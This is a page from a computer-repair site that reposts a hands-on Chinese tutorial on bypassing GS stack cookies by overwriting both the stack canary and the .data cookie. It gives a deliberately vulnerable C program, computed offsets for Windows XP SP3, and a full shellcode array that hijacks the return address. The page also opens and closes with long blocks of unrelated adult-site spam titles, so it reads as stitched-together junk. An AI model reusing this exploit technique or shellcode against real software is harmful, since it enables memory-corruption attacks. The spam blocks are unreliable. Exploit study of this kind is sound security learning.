国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
同時替換棧中和.data中的Cookie突破GS

作者: 佚名  日期:2017-07-28 20:24:50   來源: 本站整理

 

最近剛剛接觸漏洞調試逆向,希望能夠將自己調試過程中的看法與大家分享,望大神們不要噴我。參考書籍就是有名的《0day》,作為想接觸漏洞的新手非常適合。
言歸正傳
GS機制:
GS會在函數調用前往函數棧幀內壓入一個隨機數(canary),然后等函數返回前,會對canary進行核查,判斷canary是否被修改。因為canary的地址是(前棧幀EBP-4),所以如果溢出攻擊想要覆蓋返回地址,就會路過canary。系統檢測到canary被修改之后,在函數返回前就會直接終止程序
GS流程:
  • 程序啟動時,讀取.data節的第一個dword。
  • 以這個dword為基數,通過和當前系統時間,進程ID,線程ID,性能計數器進行一系列加密運算(多次XOR)。
  • 把加密后的種子再寫入.data節的第一個dword。
  • 函數在執行前,把加密后的種子取出,與當前esp進行異或計算,結果存入“前EBP”的前面(低地址端)。
  • 函數主體正常執行。
  • 函數返回前,把canary取出與esp異或計算后,調用__security_check_cookie函數進行檢查,與.data節里的種子進行比較,如果校驗通過則返回原函數繼續執行。如果校驗失敗,則程序終止。

意思就是,.data第一個dword異或ebp后,存放到ebp低地址端,函數返回前,這個數再xor ebp,和.data中相比較。

GS突破的思路:
1、利用未被保護的內存突破GS
2、覆蓋虛函數突破GS(wnagzihxain有講到
3、攻擊SEH突破GS
4、同時替換棧中和.data中的cookie突破GS(同樣講到過

由于自己第一次發帖,剛好看到第四個突破技術,索性就記錄下來以便交流


我們不看代碼,試想一下,如果想要同時替換棧中和.data中的cookie,需要幾步。需要什么條件。
攻擊條件:
  • 首先這個條件就很苛刻,正常情況下,我們是無法訪問到.data段中的,只有當一個指針偏移沒有作判斷,能夠為我們所用,將它指向.data的時候,才能夠覆蓋修改.data的第一個dword。

代碼中創造的條件是這樣的,先申請一塊堆區,再創建一個指針指向的地址是堆區+偏移(i),當i為我們惡意構造的負數的時候,就有可能指向.data段。
  • 其次,要有shellcode覆蓋,代碼中給了一個strcpy,我們喜聞樂見的一個函數。

代碼如下(shellcode內容我們慢慢給出,這里先看程序):
[C] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    //__asm int 3
    test(str,0xFFFF2FB8,shellcode);
}


攻擊調試步驟:
1、在調試的時候,確認堆區的地址和我們要覆蓋的.data首地址離多遠,這樣就能確認這個指針偏移 i 是多少;
2、確定shellcode的覆蓋偏移,到底哪個偏移地址是canary的位置;
前兩部可以利用函數返回時候的check_securitycookie函數查看系統是怎么檢查參數的
3、確定shellcode中canary的值,索性把shellcode的第一個dword設置為canary(90909090),那么我們用多少覆蓋呢,這需要在調試中xor ebp后確定;
4、確定shellcode組織結構。

下面和大家一起調試,確定shellcode的內容
調試環境:
XP sp3
vs 2008
release版本
optimization給disable掉(不然,調試代碼看不懂,canary異或的也是esp而不是ebp)

第一步,確定偏移
其實不能完全按照步驟進行參數獲取,因為后面有些參數可能在前面的調試中就已經獲取了,按步驟說只是便于理解。
先把shellcode設置為四個字節90909090.指針偏移也設置為0:

[C] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <string.h>
#include <stdlib.h>
char shellcode[]=
 
"\x90\x90\x90\x90"//new value of cookie in .data
;
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
__asm int 3
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    test(str,0,shellcode); 
}


我們首先要看cookie是怎么校驗的。原書中講到在if語句處中斷,我設置了int3之后,停下來發現cookie已經被放進.data了,所以我就下在了strcpy之前
 

這一步獲取的參數:
.data地址:0x00403000
棧中需要覆蓋canary的地址:0x0012FF60
棧中需要返回的地址0x0012FF68
堆分配首地址(這一步我忘記標出來了,他就是test函數test(str,0,shellcode)返回地址前、高地址處的第一個str的地址):0x00410048
計算可得:0x410048-0x403000=53320,由于這個偏移應該是負數,所以i=-53320=FFFF2FB8
這樣第一二步驟的參數已經得到了

將i修改后,如下:
[C] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        __asm int 3
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    test(str,0xFFFF2FB8,shellcode);
}


第二步,確定canary的值
如何確定?已經我們要將90909090寫入.data,GS校驗的時候,會將canary和ebp異或然后和90909090對比,所以,canary=90909090 xor 當時的ebp
int3位置不變,我們還定位到函數準備返回檢查canary的時候
 
canary = 0x0012ff64 xor 0x90909090 = 0x90826ff4



第三步,確定shellcode組織結構
對了,shellcode在棧中的位置還沒確定呢
還是剛才的斷點,在strcpy之前停下來,找shellcode 復制的棧中位置,這也是為什么設置90909090,因為明顯好找,還可以搜索
 
找到了shellcode地址=0x0012FE94
所以shellcode總大小=0x0012FE94-返回的地址0x0012FF68 +4=216字節
覆蓋返回地址:12FF68-12FF6B
覆蓋canary地址:12FF60-12FF63
最后12個字節是這樣的\xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
所以shellcode是這樣安排的:
\x90\x90\x90\x90||\xFC\x68···\x57\xF8||\x90···\x90|| \xF4\x6F\x82\x90 \x90\x90\x90\x90 \x94\xFE\x12\x00
4字節                       168字節                     32字節(216-4-168-12=32字節)           12個字節

最終形成代碼
[C] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <string.h>
#include <stdlib.h>
char shellcode[]=
 
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
    char dest[200];
     
    if(i<0x9995)
    {
        char * buf=str+i;
        *buf=*src;
        *(buf+1)=*(src+1);
        *(buf+2)=*(src+2);
        *(buf+3)=*(src+3);
        strcpy(dest,src);
    }
}
void main()
{
    char * str=(char *)malloc(0x10000);
    //__asm int 3
    test(str,0xFFFF2FB8,shellcode);
}

 

成功溢出。


熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    久草在线资源福利站| 精品在线观看一区| 亚洲综合福利| 国产精品激情av电影在线观看| 欧美另类在线视频| 国产精品五月天| www成人啪啪18软件| 综合视频在线| 五月婷婷狠狠操| 成人爽a毛片免费啪啪红桃视频| 国产成人看片| 日本大片在线播放| 欧美精品videos另类日本| 日韩黄色视屏| 久99久在线视频| wwwxxx免费| 精品性高朝久久久久久久| 99精品视频免费看| 亚洲精品久久久久久国产精华液| 精品无码人妻一区二区三区| 91一区二区在线| 亚洲久久久久久久| 国产一区二区精品久久99| 在线观看免费黄网站| 国产精品嫩草影院在线看| 久久久久久久久久久久久国产精品 | 欧美自拍丝袜亚洲| 天堂√中文在线| 欧美人妇做爰xxxⅹ性高电影| 日本高清视频免费观看| 欧美大片免费久久精品三p | 亚洲精品一区av| 妺妺窝人体色www看人体| 精品国产一区探花在线观看| 无码aⅴ精品一区二区三区浪潮| 亚洲成在人线免费观看| 亚洲一级片免费| 国产69精品久久777的优势| 成人免费一区二区三区| 亚洲成人免费观看| 欧美男男大粗吊1069| 欧美一级欧美三级| 国产精品一级伦理| 天天爱天天做天天操| 成人激情视频| 第四色在线视频| 91色在线porny| 91porny九色| 日韩欧美国产高清| 青檬在线电视剧在线观看| 国产精品久久久久久超碰| 成年男女免费视频网站不卡| 日韩三级在线播放| 老司机精品导航| 国产成人免费看| 日韩欧美视频一区二区三区| 九九视频在线播放| 欧美激情国产精品| 国产精品成人**免费视频| 中文字幕资源在线观看| 久久九九久久九九| 影音先锋国产资源站| 色偷偷88888欧美精品久久久| 国产高潮在线| 国产sm在线观看| 国产精品国产精品国产专区不片| seba5欧美综合另类| 91精品久久久久久久久久久| 亚洲黑丝一区二区| 国产婷婷在线视频| 97国产精品视频人人做人人爱| 国产精品亚洲综合在线观看| 91麻豆制片厂| 欧美精品丝袜久久久中文字幕| 97人妻精品视频一区| 搡老女人一区二区三区视频tv| 77成人影视| 四虎成人在线观看| 久久久999国产| 麻豆国产欧美一区二区三区r| 超碰人人干人人| 精品五月天久久| 素人一区二区三区| 日韩精品一区三区| 91精品国产91久久久久久| 色天天久久综合婷婷女18 | 国产精品毛片a∨一区二区三区|国| 欧美777四色影| 无码精品视频一区二区三区| 国产欧美日韩中文字幕| 亚洲一区国产一区| av电影免费在线| 亚洲精品无码国产| 色哟哟日韩精品| av成人在线看| 97精品人妻一区二区三区| 国产精品视频久久久久| 国产一区二区在线观看免费 | 波多野结衣作品集| 色综合视频在线观看| 华人av在线| 日本中文字幕第一页| 成人在线小视频| 99精品国产热久久91蜜凸| 国产永久av在线| 极品美妇后花庭翘臀娇吟小说| 久久成人精品一区二区三区| 最新国产乱人伦偷精品免费网站| eeuss影院www影院| 91日本视频在线| 成人sese在线| 69免费视频| 中文人妻一区二区三区| 亚洲欧美国产一本综合首页| 西野翔中文久久精品国产| 欧美高清videos性极品| 日韩在线第一区| 欧美国产一区二区| 91九色国产在线播放| 国产探花在线免费观看| 久久综合伊人77777蜜臀| 久久国内精品自在自线400部| xxxxwwww在线免费观看| 国产aaa一级片| 91精品在线免费| 亚洲人成人一区二区三区| 黄色a**址| 日本免费色视频| 亚洲男人天堂网| 亚洲婷婷免费| 美女免费久久| 中文字幕精品视频在线观看| 国产精品揄拍500视频| 粉嫩蜜臀av国产精品网站| 毛片电影在线| 97精品人妻一区二区三区| 一区不卡字幕| 原创国产精品91| 成人免费视频播放| 欧美福利在线播放| 天天干天天做天天操| 麻豆视频传媒入口| 欧美一区二区二区| 国内精品久久久久久久影视蜜臀| 日日草天天干| 精品处破女学生| 蜜桃麻豆91| 中文字幕欧美精品在线 | 欧美日韩国产成人| 亚洲综合久久av| 免费视频一区二区| 亚洲视频自拍| 九色porny在线观看| 亚洲综合爱爱久久网| 九九九在线观看| 超碰97人人干| 亚洲精品成人在线播放| 日本欧洲国产一区二区| 国产精品2018| 欧美成年人网站| 亚洲国产精品久久| 91久久一区二区| 亚洲免费电影在线| 久久无码av三级| 成人一区二区在线观看| 久久成人免费| 国产字幕视频一区二区| 要久久爱电视剧全集完整观看| 国产视频在线播放| 欧美高清xxxx性| 91 中文字幕| 欧美日韩在线观看成人| 国产黄色一区二区三区 | 日韩欧美一区电影| 精品成人乱色一区二区| 久久日韩粉嫩一区二区三区| 精品亚洲国内自在自线福利| 一本一道久久综合狠狠老| 欧美一级做a| 波多野结衣中文在线| 亚洲成人影院在线观看| av网站免费看| 在免费jizzjizz在线视频| 污污视频在线免费看| 波多野结衣高清视频| 青青操视频在线播放| 久久久久久成人网| 西西大胆午夜视频| 国产性猛交96| 亚洲av永久无码精品| 白丝校花扒腿让我c| 亚洲久久中文字幕| 成人精品视频一区二区| 欧美亚洲精品一区二区| 久久成人福利视频| 国产精品第12页| 中文字幕成人在线视频| 污污的视频免费| 国产精品无码专区| 日本福利片在线观看|